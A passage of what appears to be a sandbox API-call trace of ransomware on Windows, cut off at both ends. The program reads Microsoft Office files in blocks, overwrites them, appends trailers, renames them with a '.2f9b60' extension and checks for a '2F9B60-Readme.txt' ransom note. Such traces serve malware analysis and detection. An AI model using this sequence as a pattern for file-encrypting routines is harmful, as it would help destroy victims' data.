0x5c7df4c0 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0xafd914d [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x24848396 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x418238e3 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x10de78b1 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x458b5ed [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x492878a1 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x3beb2bad [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x7a1b36eb [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x4a9398f1 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x5e03973e [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x4399b7db [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x2744fcf9 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x2bfba231 [0111.955] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.955] ReadFile (in: hFile=0x160c, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x341bf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x341bf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.958] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a81d0 [0111.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a81d0) returned 1 [0111.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0111.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a81d0 [0111.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0111.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.959] WriteFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x341bf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x341bf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.963] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.963] ReadFile (in: hFile=0x160c, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x341bf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x341bf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.976] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0111.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0111.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0111.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8530) returned 1 [0111.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.977] WriteFile (in: hFile=0x160c, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x341bf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x341bf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.980] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x17b78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.980] ReadFile (in: hFile=0x160c, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x341bf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x341bf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.981] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x17b78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8110 [0111.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8110) returned 1 [0111.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0111.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8110 [0111.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0111.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0111.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.982] WriteFile (in: hFile=0x160c, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x341bf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x341bf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9400 [0111.986] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.986] WriteFile (in: hFile=0x160c, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x341bfa70, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x341bfa70*=0x14c, lpOverlapped=0x0) returned 1 [0111.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0111.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0111.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202626c0 [0111.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0111.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0111.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0111.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fd70 [0111.998] sprintf (in: _Dest=0x1cd9fd70, _Format="%c%c" | out: _Dest="25") returned 2 [0111.998] sprintf (in: _Dest=0x1cd9fd72, _Format="%c%c" | out: _Dest="2d") returned 2 [0111.998] sprintf (in: _Dest=0x1cd9fd74, _Format="%c%c" | out: _Dest="7d") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd76, _Format="%c%c" | out: _Dest="33") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd78, _Format="%c%c" | out: _Dest="76") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd7a, _Format="%c%c" | out: _Dest="56") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd7c, _Format="%c%c" | out: _Dest="7b") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd7e, _Format="%c%c" | out: _Dest="4a") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd80, _Format="%c%c" | out: _Dest="c6") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd82, _Format="%c%c" | out: _Dest="93") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd84, _Format="%c%c" | out: _Dest="28") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd86, _Format="%c%c" | out: _Dest="7f") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd88, _Format="%c%c" | out: _Dest="15") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd8a, _Format="%c%c" | out: _Dest="8e") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd8c, _Format="%c%c" | out: _Dest="34") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd8e, _Format="%c%c" | out: _Dest="97") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd90, _Format="%c%c" | out: _Dest="12") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd92, _Format="%c%c" | out: _Dest="ee") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd94, _Format="%c%c" | out: _Dest="79") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd96, _Format="%c%c" | out: _Dest="7b") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd98, _Format="%c%c" | out: _Dest="31") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd9a, _Format="%c%c" | out: _Dest="ad") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd9c, _Format="%c%c" | out: _Dest="61") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fd9e, _Format="%c%c" | out: _Dest="01") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fda0, _Format="%c%c" | out: _Dest="d7") returned 2 [0111.999] sprintf (in: _Dest=0x1cd9fda2, _Format="%c%c" | out: _Dest="22") returned 2 [0111.999] RtlInitAnsiString (in: DestinationString=0x341bfae8, SourceString="252d7d3376567b4ac693287f158e349712ee797b31ad6101d722" | out: DestinationString="252d7d3376567b4ac693287f158e349712ee797b31ad6101d722") [0111.999] RtlAnsiStringToUnicodeString (in: DestinationString=0x341bfab8, SourceString="252d7d3376567b4ac693287f158e349712ee797b31ad6101d722", AllocateDestinationString=1 | out: DestinationString="252d7d3376567b4ac693287f158e349712ee797b31ad6101d722") returned 0x0 [0112.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869f40 [0112.000] wcscat (in: _Dest=0x20279df0, _Source="252d7d3376567" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\252d7d3376567") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\252d7d3376567" [0112.000] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\252d7d3376567.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\252d7d3376567.2f9b60" [0112.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\252d7d3376567.2f9b60", NtPathName=0x341bfa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\252d7d3376567.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776af0 [0112.000] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x341bfb30, FileInformation=0x1b776af0, Length=0xce, FileInformationClass=0xa) returned 0x0 [0112.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0112.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.002] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x341bfaf8, FileInformation=0x341bfb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x341bfaf8, FileInformation=0x341bfb08) returned 0x0 [0112.002] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x341bfaf8, FileInformation=0x341bfb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0112.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0112.003] FlushFileBuffers (hFile=0x160c) returned 1 [0112.005] CloseHandle (hObject=0x160c) returned 1 [0112.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0112.007] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0112.007] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0112.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0112.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0112.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 Thread: id = 1091 os_tid = 0x17b4 [0111.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu")) returned 0x20 [0111.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", dwFileAttributes=0x20) returned 1 [0111.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0111.961] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x335bfc20 | out: lpFileSize=0x335bfc20*=6250496) returned 1 [0111.961] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x5f5ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.961] ReadFile (in: hFile=0x1574, lpBuffer=0x335bfba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x335bfbe8, lpOverlapped=0x0 | out: lpBuffer=0x335bfba0*, lpNumberOfBytesRead=0x335bfbe8*=0x4, lpOverlapped=0x0) returned 1 [0111.963] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a84a0 [0111.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0111.964] NtQuerySystemTime (in: CurrentTime=0x335bfae0 | out: CurrentTime=0x335bfae0*=132462177174286000) returned 0x0 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x684e984b [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x152a005c [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x3bd3442c [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x31cbb9f3 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0xc3186e6 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x76327f9 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x5e03973e [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x33502f83 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x68ebe98b [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x495a9879 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x2db3db12 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0xc93a209 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x72be11b0 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0xe9c0a4f [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x3e322ae0 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0xbaee598 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x67d7f776 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x5724b373 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x8846201 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x4b167b3f [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x4bb04451 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x4c0cef54 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x3bd3442c [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x33ab62f4 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x8740076 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x378c3f0 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x383d6502 [0111.964] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x5a22ed0e [0111.965] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x3736abb3 [0111.965] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x3ac1c1c6 [0111.965] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x2bb774d1 [0111.965] RtlRandomEx (in: Seed=0x335bfad0 | out: Seed=0x335bfad0) returned 0x4f27bbb1 [0111.973] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.973] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x335bfb40, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x335bfb40*=0x3c00, lpOverlapped=0x0) returned 1 [0111.977] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0111.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8530) returned 1 [0111.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0111.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8110 [0111.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8110) returned 1 [0111.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.978] WriteFile (in: hFile=0x1574, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x335bfb40, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x335bfb40*=0x3c00, lpOverlapped=0x0) returned 1 [0128.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0128.842] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x2fd000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.842] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x335bfb40, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x335bfb40*=0x3c00, lpOverlapped=0x0) returned 1 [0128.846] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x2fd000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0128.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0128.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8730 [0128.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8730) returned 1 [0128.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0128.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8730 [0128.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0128.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f80) returned 1 [0128.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0128.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0128.847] WriteFile (hFile=0x1574, lpBuffer=0x41e885a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x335bfb40, lpOverlapped=0x0) [0179.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0179.939] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x5f2400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.939] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x335bfb40, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x335bfb40*=0x3c00, lpOverlapped=0x0) returned 1 [0182.058] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x5f2400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2efa0 [0182.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2efa0) returned 1 [0182.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42379560 [0182.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2efa0 [0182.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2efd0 [0182.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2efd0) returned 1 [0182.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.061] WriteFile (in: hFile=0x1574, lpBuffer=0x42379560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x335bfb40, lpOverlapped=0x0 | out: lpBuffer=0x42379560*, lpNumberOfBytesWritten=0x335bfb40*=0x3c00, lpOverlapped=0x0) returned 1 [0198.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42379560) returned 1 [0198.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f6e0 [0198.040] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.040] WriteFile (in: hFile=0x1574, lpBuffer=0x431f4f60*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x335bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x431f4f60*, lpNumberOfBytesWritten=0x335bfbf0*=0x150, lpOverlapped=0x0) returned 1 [0201.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0201.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a59f0 [0201.671] RtlFreeHeap 